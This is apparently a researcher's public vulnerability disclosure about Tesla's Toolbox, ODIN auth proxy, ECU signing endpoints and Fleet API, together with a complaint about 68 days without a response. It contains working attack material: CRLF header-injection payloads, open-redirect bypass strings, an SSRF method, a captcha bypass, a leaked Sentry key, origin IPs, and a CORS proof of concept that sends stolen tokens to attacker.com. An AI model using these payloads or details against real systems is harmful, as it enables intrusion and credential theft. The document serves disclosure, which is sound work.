The systems that sign the code running your Tesla's steering, brakes, and airbags are reachable from the public internet. The authentication gateway to Tesla's factory diagnostic system reflects any attacker-controlled origin. Factory floor IP addresses leak in every HTML response. Python 3.6 — end of life since 2021 — runs the auth proxy. After 68 days and direct escalation to 7 Tesla executives including the VP of Security and the CFO, Tesla has not responded with a single word.
Remediation after 68 days: Zero confirmed fixes. Zero response. Zero acknowledgment. Bugcrowd submissions blocked by triagers, closed as “Informative”. Direct email to security@tesla.com — ignored. Escalation to VP Security, CFO, Autopilot Director — ignored.
| ID | Severity | Title | Target |
|---|---|---|---|
| F-01 | P3 | Staging Auth Server Misconfiguration — Captcha Bypass + Disabled Email Verification | auth-stage.tesla.com |
| F-02 | P3 | Cross-Domain Infrastructure Disclosure — Varnish Hostnames, Origin IPs, Internal Architecture | developer/service/auth.tesla.com |
| F-03 | P3 | Unauthenticated Jira REST API + Complete Internal API Path Disclosure | fleetapi-support/developer.tesla.com |
| F-04 | P3 | Hidden M2M Token Flow + Fleet API gRPC Architecture + PKI Certificate Chain | auth/fleet-api.tesla.com |
| F-05 | P2 | Full-Read SSRF via Partner Registration + Broken Domain Control Validation | fleet-api/developer.tesla.com |
| F-06 | P3 | Sentry DSN Event Injection + Deprecated OAuth Flows + M2M Scope Escalation | auth.tesla.com |
| F-07 | P1 | ECU Code Signing Endpoints Internet-Reachable + Factory Infrastructure + CRLF Header Injection (CVE-2024-23829) | toolbox.tesla.com |
| F-08 | P1 | ODIN Auth Proxy CORS Credential Theft — Any Origin Reflected with Credentials | toolbox.tesla.com |
| F-09 | P2 | OAuth Open Redirect + Server Crash + Access Level Manipulation (standard/energy/optimus) | toolbox.tesla.com |
Tesla's service center platform at toolbox.tesla.com exposes the complete frontend application — including all JavaScript bundles and CSP policy — without authentication. The Toolbox Notary service provides ECU configuration signing endpoints that are reachable from the public internet for every major vehicle computer type.
| Endpoint | ECU Type | Safety-Critical |
|---|---|---|
/notary/ecuconfig/ap/sign | Autopilot | YES — autonomous driving |
/notary/ecuconfig/epas/sign | Electric Power Assisted Steering | YES — steering control |
/notary/ecuconfig/abs/sign | Anti-Lock Braking System | YES — braking |
/notary/ecuconfig/esp/sign | Electronic Stability Program | YES — stability control |
/notary/ecuconfig/airbag/sign | Airbag | YES — occupant safety |
/notary/ecuconfig/bms/sign | Battery Management System | YES — battery safety |
/notary/ecuconfig/hvbms/sign | High-Voltage BMS | YES — HV battery |
/notary/ecuconfig/gateway/sign | Vehicle Gateway | YES — CAN bus gateway |
/notary/ecuconfig/vcm/sign | Vehicle Controller Module | YES — vehicle control |
/notary/ecuconfig/inverter/sign | Motor Inverter | YES — drivetrain |
/notary/ecuconfig/charger/sign | Charger | Moderate |
/notary/ecuconfig/mcu/sign | Media Control Unit | Low — infotainment |
/notary/ecuconfig/ic/sign | Instrument Cluster | Moderate |
/notary/ecuconfig/hvac/sign | HVAC | Low |
/notary/ecuconfig/pcs/sign | Power Conversion System | Moderate |
/notary/ecuconfig/vcu/sign | Vehicle Control Unit | YES |
POST /notary/ecuconfig/ap/sign → 401 Unauthorized (Server: envoy)
POST /notary/ecuconfig/epas/sign → 401 Unauthorized
POST /notary/ecuconfig/abs/sign → 401 Unauthorized
POST /notary/ecuconfig/airbag/sign → 401 Unauthorized
GET /notary/ecuconfig/hvbms/sign → 405 Method Not Allowed
Defence-in-depth failure: The ECU code signing service should be isolated behind VPN + network segmentation + mTLS + hardware security module (HSM). Currently, only a single layer of JWT/certificate authentication separates the public internet from the ability to sign configurations for safety-critical vehicle systems. No network-level restriction exists.
The ODIN auth proxy runs Python 3.6 (EOL since December 2021) and aiohttp 3.2.0 (released 2018, 8 years old). This endpoint bypasses Envoy's ext-auth filter and routes directly to the Python backend.
POST /api/v1/auth/odin_token HTTP/1.1
Host: toolbox.tesla.com
Content-Type: application/json
{}
HTTP/1.1 401 Unauthorized
x-tesla-odin-auth-proxy-service: odin_auth_proxy
Server: Python/3.6 aiohttp/3.2.0
# Baseline (no injection):
X-Test: clean_value
→ 401 Unauthorized (no Authorization header seen)
# CRLF injection (Authorization injected via X-Test):
X-Test: val\r\nAuthorization: Bearer injected_token
→ 400 Bad Request (Authorization header SEEN and PROCESSED)
# All variants confirmed:
CRLF (\r\n) → 400 (auth processed) — CVE-2024-23829
Bare LF (\n) → 400 (auth processed) — CVE-2023-37276
Bare CR (\r) → 400 (auth processed)
Tab fold → 400 (auth processed)
The JS bundle exposes the complete ODIN permission system:
| Permission | Target |
|---|---|
ODIN_CONNECT_REMOTELY_TO_AUSTIN_MFG_FLEET | Austin Gigafactory (Cybertruck, Model Y) |
ODIN_CONNECT_REMOTELY_TO_BERLIN_MFG_FLEET | Berlin Gigafactory (Model Y Europe) |
ODIN_CONNECT_REMOTELY_TO_MFG_FLEET | General manufacturing fleet |
ODIN_CONNECT_REMOTELY_TO_ENGINEERING_FLEET | Engineering fleet |
ODIN_CONNECT_REMOTELY_TO_ENERGY_PRODUCTION_FLEET | Powerwall/Megapack production |
SECETH_UNLOCK_REMOTELY | Remote Security Ethernet unlock |
SIDELOAD_FIRMWARE | Firmware sideloading to vehicle ECUs |
SERVICE_SHELL | Vehicle shell/console access |
The Content-Security-Policy meta tag leaks private network addresses:
connect-src: http://192.168.90.100:8080 (vehicle diagnostic gateway)
ws://192.168.90.100:8080 (WebSocket diagnostic)
http://172.22.22.100:8080 (secondary network)
ws://192.168.90.100:8001/api/ws (real-time vehicle data)
http://192.168.90.103:8901 (additional internal service)
http://localhost:7003/provisioning/genealogy/din
The Toolbox help article system includes HELP_ALERT_ARTICLES_OPTIMUS permission alongside Vehicle and Energy categories. The OAuth flow supports three access levels: standard, energy, and optimus. Tesla is building the Optimus robot diagnostic platform into Toolbox.
The ODIN Auth Proxy at /api/v1/auth/odin_token reflects any Origin header value containing the substring “tesla” in its CORS response, with Access-Control-Allow-Credentials: true. This allows a malicious page to steal ODIN authentication tokens from Tesla technicians.
OPTIONS /api/v1/auth/odin_token HTTP/1.1
Host: toolbox.tesla.com
Origin: https://toolbox.tesla.com.evil.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type, Authorization
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://toolbox.tesla.com.evil.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: POST
Access-Control-Allow-Headers: AUTHORIZATION,CONTENT-TYPE
Server: Python/3.6 aiohttp/3.2.0
| Origin Sent | Reflected? | Credentials? |
|---|---|---|
https://toolbox.tesla.com | Yes | Yes |
https://toolbox.tesla.com.evil.com | Yes | Yes |
https://tesla.com.hacker.net | Yes | Yes |
https://anything.tesla.com | Yes | Yes |
null | Yes | Yes |
https://evil.com | No (403) | No |
// Attacker hosts this on tesla.com.hacker.net:
fetch('https://toolbox.tesla.com/api/v1/auth/odin_token', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({/* ODIN token request */})
}).then(r => r.text()).then(data => {
// Response is readable — CORS reflects our origin
navigator.sendBeacon('https://attacker.com/exfil', data);
});
Impact: ODIN is Tesla's vehicle diagnostic and factory fleet management system. A valid ODIN token grants access to vehicle ECU data, diagnostics, and fleet connections. Combined with CRLF header injection (F-07) on the same endpoint, an attacker can make cross-origin requests with injected internal headers and read the full response.
The Fleet API partner onboarding endpoint at /api/1/partner_accounts makes an outbound HTTPS request to a user-controlled domain and reflects the complete HTTP response body in the error message — turning a blind SSRF into a full-read SSRF.
POST /api/1/partner_accounts HTTP/1.1
Host: fleet-api.prd.na.vn.cloud.tesla.com
Authorization: Bearer {m2m_token}
Content-Type: application/json
{"domain":"brlabs.dev"}
HTTP/1.1 400
{
"error": "Public key download failed for
https://brlabs.dev/.well-known/appspecific/com.tesla.3p.public-key.pem,
error: must return 200 response code, got 404;
body: <!DOCTYPE html>\n<html lang=\"de\">\n<head>...
[COMPLETE HTML PAGE]..."
}
IP address filtering is present but bypassable via DNS — the backend resolves domains and connects to whatever IP they resolve to. An attacker who controls their domain's DNS can point subdomains to internal IP addresses.
The DCV endpoint at /api/dcv on developer.tesla.com returns {"success":true} for any domain — including tesla.com, google.com, and nonexistent domains. Even an empty request body returns success. No authentication required.
POST /api/dcv HTTP/1.1
Host: developer.tesla.com
Content-Type: application/json
{"domain":"tesla.com"} → {"success":true}
{"domain":"google.com"} → {"success":true}
{"domain":"nonexistent.com"} → {"success":true}
{} → {"success":true}
The Toolbox OAuth authorize endpoint at /api/v1/oauth/authorize is accessible without authentication and exposes:
toolboxvin with scope=openid email profile employeeoriginal_url parameter injected directly into redirect_uri/api/v1/oauth/callback returns HTTP 500 on missing/empty code/api/v1/auth/login returns HTTP 500 on any non-empty passwordset_access_level_to=standard|energy|optimus is client-controlledoriginal_url=//evil.com → Accepted (protocol-relative)
original_url=//evil.com/phish → Accepted
original_url=/\evil.com → Accepted (backslash bypass)
original_url=/%09//evil.com → Accepted (tab bypass)
original_url=/%0a//evil.com → Accepted (newline bypass)
tbx-engineering, tbx-service-engineering, tbx-manufacturing,
tbx-content-editors, tbx-admin, tbx-technical-specialist,
tbx-semitruck-engineering, tbx-semitruck-technical-specialist,
tbx-semitruck-content-editor, tbx-semitruck-admin
auth-stage.tesla.com is publicly accessible and exposes:
?disable_captcha=true replaces all hCaptcha site keys with automation key c8de4fa2-24ea-4f14-8076-c63ceb36b300enableRegistrationEmailVerify: falsesentry-api.ops.na.vn.cloud.tesla.com/149accountHomeURL: "http://accounts.tesla.com" (not HTTPS)const { automationKey } = window.config.captcha.hcaptcha;
if (automationKey && new URLSearchParams(window.location.search)
.get("disable_captcha") === "true") {
Object.entries(window.config.captcha.hcaptcha).forEach(([key]) => {
window.config.captcha.hcaptcha[key] = automationKey;
})
}
Multiple Tesla domains leak internal infrastructure through three vectors:
developer.tesla.com → sjc04p1tegvr68.teslamotors.com
service.tesla.com → sjc38p1tegvr67.teslamotors.com
# Pattern: sjc[rack]p1tegvr[id].teslamotors.com
# sjc = San Jose datacenter, p1 = Production tier 1
| Domain | Origin IP | Header |
|---|---|---|
| auth.tesla.com | 66.17.4.74, 66.17.4.78 | originip |
| ownership.tesla.com | 199.43.255.68 | originip |
| fleet-auth.prd.vn.cloud.tesla.com | 66.17.4.76, 66.17.4.78 | originip |
Full origin cluster: 66.17.4.{74,76,78} — at least 3 servers in the same /24 subnet. Direct connection bypasses Akamai WAF.
auth-stage.tesla.cn:
x-datacenter: cn-pvg16-eng-iam (Shanghai Pudong, Engineering IAM)
server: TencentEdgeOne
auth.tesla.cn:
x-datacenter: cn-pvg16-prd-iam (Shanghai Pudong, Production IAM)
fleetapi-support.tesla.com exposes Jira Service Desk REST API without authentication:
GET /rest/servicedeskapi/info → 200 OK
{
"version": "10.3.24-QR-0009",
"buildChangeSet": "781b2a8a",
"buildDate": "2026-07-31T10:53:40+1000"
}
developer.tesla.com JS bundle (860KB) exposes complete internal API paths:
federationId parameterallAccessibleBizAccountsByFederationID{ssoHost}/adfs/oauth2/token/teslaaccount/business/account/payments/{publicAccountId}The OIDC discovery document declares only authorization_code, but client_credentials (M2M) works. The /oauth2/v3/clientinfo endpoint returns the complete internal API configuration:
{
"app": { "id": 77099, "name": "BuriCar" },
"apis": [
{
"id": 8341,
"identifier": "https://fleet-api.prd.na.vn.cloud.tesla.com",
"name": "boring company",
"owner_app_id": null,
"policy_config_json": {
"rules": [{"allow_all": "true"}],
"mfa_optional": true
}
}
]
}
Key disclosures:
mfa_optional: true in default login policyGRPC::NotFound and GRPC::InvalidArgument errors with internal parameter namesopenssl req) instead of v3 (automated PKI)The auth.tesla.com config file exposes an internal Sentry DSN. Events are accepted and stored:
POST /api/149/store/ HTTP/1.1
Host: sentry-api.ops.na.vn.cloud.tesla.com
X-Sentry-Auth: Sentry sentry_key=6f06fedc9dbf391f2e4fe2e0b1ac1c78,
sentry_version=7
Content-Type: application/json
{
"event_id": "aaaa0000bbbb1111cccc2222dddd3333",
"message": "BugBounty PoC - Injected via exposed DSN",
"level": "info"
}
→ HTTP 200: {"id":"aaaa0000bbbb1111cccc2222dddd3333"}
OIDC discovery declares only authorization_code, but the server accepts:
response_type=token (implicit — tokens in URL fragment)response_type=id_tokenresponse_type=code+token (hybrid)response_type=code+id_token (hybrid)Implicit flow bypasses PKCE entirely, despite pkce_enabled: true in config.
openid and offline_access are granted to M2M tokens even when not in granted_scopes_json. The scope filter fails open for scopes outside the Fleet API scope list.
Tesla's Bugcrowd programme is listed as the official vulnerability disclosure channel. We submitted findings through the platform as instructed.
Result: Valid findings were closed as “Informative” by triagers (John Fritz, Klaus). Our researcher account was effectively blocked from further submissions. This is not a disagreement about severity — it is a failure of the triage process.
We then attempted direct CVD via email (security@tesla.com, vulnerability-reports@tesla.com). The vulnerability-reports@ address has been removed entirely — it bounces. security@tesla.com received our reports but never responded.
security@tesla.com. No response.security@tesla.com and vulnerability-reports@tesla.com. The vulnerability-reports address bounces — Tesla has removed it.Tesla, Inc.: No response. Not a single word. Not from security@tesla.com. Not from Bugcrowd. Not from any of the 7 executives contacted directly. Not from press, IR, or legal.
The full technical report was never requested, never delivered, and never reviewed — because Tesla never responded to any of the four separate contact attempts across three different channels over 68 days.
Total silence: 68 days. Contact attempts: 4. Channels used: 3 (email, Bugcrowd, executive escalation). Executives contacted: 7. Response: Zero.
| System | Tesla Toolbox (Service Center Platform) |
|---|---|
| Domains | toolbox.tesla.com, auth.tesla.com, auth-stage.tesla.com, fleet-api.prd.{na,eu}.vn.cloud.tesla.com, fleetapi-support.tesla.com, developer.tesla.com |
| Critical Components | ODIN Auth Proxy (Python 3.6 / aiohttp 3.2.0), Notary ECU Signing Service, Fleet API |
| Vehicle ECUs Affected | Autopilot, EPAS Steering, ABS, ESP, Airbag, BMS, HVBMS, Gateway, VCM, Inverter, Charger, MCU, IC, HVAC, PCS, VCU |
| Confirmed CVEs | CVE-2024-23829 (aiohttp CRLF), CVE-2023-37276 (aiohttp bare LF) |
/notary/ecuconfig/*/sign should NEVER be internet-accessible, even behind auth. VPN + mTLS + HSM minimum.null originauth-stage.tesla.com should be behind VPNfleetapi-support.tesla.comunsupported_response_type as RFC 6749 requiresauth.tesla.com origin onlyAll findings are from static analysis and public endpoint testing.
X-Bug-Bounty: bugcrowd-burilabs header sent with all requests.bug_bounty tag.Discovered and reported by Burak Yilmaz, BuriLabs Security Research.
Reference: BuriLabs-TESLA-001
Previous disclosures: